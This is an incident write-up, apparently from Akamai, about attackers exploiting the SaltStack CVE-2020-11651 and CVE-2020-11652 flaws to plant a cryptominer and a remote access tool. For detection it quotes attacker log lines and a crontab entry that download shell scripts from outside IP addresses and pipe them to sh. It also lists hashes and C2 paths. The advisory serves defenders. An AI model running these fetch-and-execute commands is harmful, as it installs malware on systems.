On April 29, 2020, the Salt management framework, authored by the IT automation company SaltStack, received a patch concerning two CVEs; CVE-2020-11651, an authentication bypass vulnerability, and CVE-2020-11652, a directory-traversal vulnerability.
On April 30, 2020, researchers at F-Secure disclosed their vulnerability findings to the public, with an urgent warning for Salt users - patch now. Before the weekend was out, criminals were deploying malware and targeting vulnerable Salt installations, successfully affecting operations at Ghost, DigiCert, and LineageOS. The malware is a cryptominer, but there is an additional component, a Remote Access Tool written in Go called nspps.
Salt is a popular tool that is used to automate and manage servers within a data center. F-Secure's researchers noted that scans revealed some 6,000 deployments of Salt exposed to the public internet. Normally, Salt installs will sit behind a firewall and are not publicly exposed.
F-Secure's researchers warned that attackers would be able to "create 100% reliable exploits for these issues in under 24 hours." That's exactly what happened. Over the next three days, criminals started to mass-scan the internet and locate vulnerable Salt deployments.
Some of the earliest in-the-wild attacks installed malware that includes cryptomining software, which targets CPU-intensive applications and processes running on the server. The targeted applications and processes include web servers, Confluence instances, Docker instances, databases, and other cryptomining software.
In addition, the malware includes a Remote Access Tool (nspps) and has other side-effects, such as the ability to disable firewalls and AppArmor. The goal of the malware appears to drain the compromised system of all available resources and turn it into a dedicated cryptomining machine. A fifth variant of the malware includes a worm to attack machines not using Salt.
There have been five variants of the malware targeting vulnerable Salt installations, with the fourth variant having the ability to maintain persistence. However, these four variants are related to only one wave of attacks, so it isn't clear if that's all there is, or if there are other variants that simply haven't been observed yet.
On May 3, 2020, popular open source blogging platform Ghost confirmed that their systems were compromised, which affected Ghost.org and Ghost(Pro) services. That same day, DigiCert, a US-based certificate authority, also confirmed that Salt vulnerabilities were leveraged in a system compromise.
According to an update provided by Ghost, the attackers leveraged Salt vulnerabilities "in an attempt to mine cryptocurrency on our servers. The mining attempt spiked CPUs and quickly overloaded most of our systems, which alerted us to the issue immediately."
Their advisory also said that there isn't any evidence that customer information, such as credit cards or authentication credentials, were compromised by the incident.
On May 2, 2020, LineageOS - a mobile operating system based on Android - announced that Salt vulnerabilities were leveraged by an attacker who gained access to their infrastructure. The investigation confirmed that none of the signing keys or builds were affected by the incident.
Researchers at Akamai have also observed in-the-wild attacks on Salt vulnerabilities and have compiled some additional details below.
It is critical that Salt deployments be checked and updated, as attackers are actively looking to exploit this situation, and there are concerns that ransomware teams will start doing the same thing.
Akamai Research Below:
System administrators who are concerned their installations may have been compromised can examine their SaltStack log files for entries similar to the ones below:
minion:2020-05-03 13:23:13,095 [salt.loader.REDACTED.int.module.cmdmod][INFO]
Executing command '(curl -s http://188.8.131.52/sa.sh||wget-q -O- http://184.108.40.206/sa.sh)|sh' in directory '/root' minion:2020-05-03 14:11:56,265 [salt.loader.REDACTED.int.module.cmdmod][INFO]
Executing command '(curl -s http://220.127.116.11/sa.sh||wget-q -O- http://18.104.22.168/sa.sh)|sh' in directory '/root' minion:2020-05-03 15:20:04,769 [salt.loader.REDACTED.int.module.cmdmod][INFO]
Executing command '(curl -s http://22.214.171.124/sa.sh||wget-q -O- http://126.96.36.199/sa.sh)|sh' in directory '/root' minion:2020-05-03 20:13:31,420 [salt.loader.REDACTED.int.module.cmdmod][INFO]
Executing command '(curl -s http://188.8.131.52/sa.sh||wget-q -O- http://184.108.40.206/sa.sh)|sh' in directory '/root'
You may also examine your file system for the following:
$ file salt-minions salt-minions: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.32,
stripped $ file salt-storer salt-storer:
ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, stripped $ sha256sum salt-storer 837d768875417578c0b1cab4bd0aa38146147799f643bb7b3c6c6d3d82d7aa2a salt-storer $ sha256sum salt-minions 81909cf7d6c7427d87c8f45f3a056d0186d931126655d4963b1bb2c8147d083f salt-minions
Check cron entries for something similar to:
# crontab -l * * * * * wget -q -O - http://220.127.116.11/c.sh | sh > /dev/null 2>&1
Where c.sh is a shell script that ensures copied from 18.104.22.168 and is loaded in the users crontab:
The salt-storer binary is used to control the malware and gather data on the infected systems' available resources by reading various system files. This information is then shipped off to a server hosted by a Russian ISP. Some examples of files read from /proc are below:
The salt-storer binary then writes a file into /tmp named salt-minions which is really only a newly compiled copy of XMRig v5.5.0. It sets execute permissions
$ ./salt-minions --version
built on May 3 2020 with GCC 5.4.0
features: 64-bit AES
Command and Control
The C2 is done over HTTP where requests are sent to the C2 server with the path simply as 'h','/get','/mg', and POST '/ms' with the request headers defining the infected system's resources. As mentioned above, an analysis of malware named 'nspps' that is very similar to this behavior has been done by IronNet and can be found here.
Shortly after communication with the C2, we see traffic from the XMR mining pool over port 80. The infected system sends JSON formatted login information to the mining pool that is hosted by a Russian ISP.
XMRig v5.50 is placed in /tmp named salt-minion and is run with the following JSON configuration:
" agent":"XMRig/5.5.0.(Linux.x86_6 4).libuv/1.8.0.g cc/5.4.0",
SaltStack administrators should patch their systems immediately and determine if their systems have been compromised. More information has been published by SaltStack here. In addition, a timeline of events has been established by the security community at https://saltexploit.com/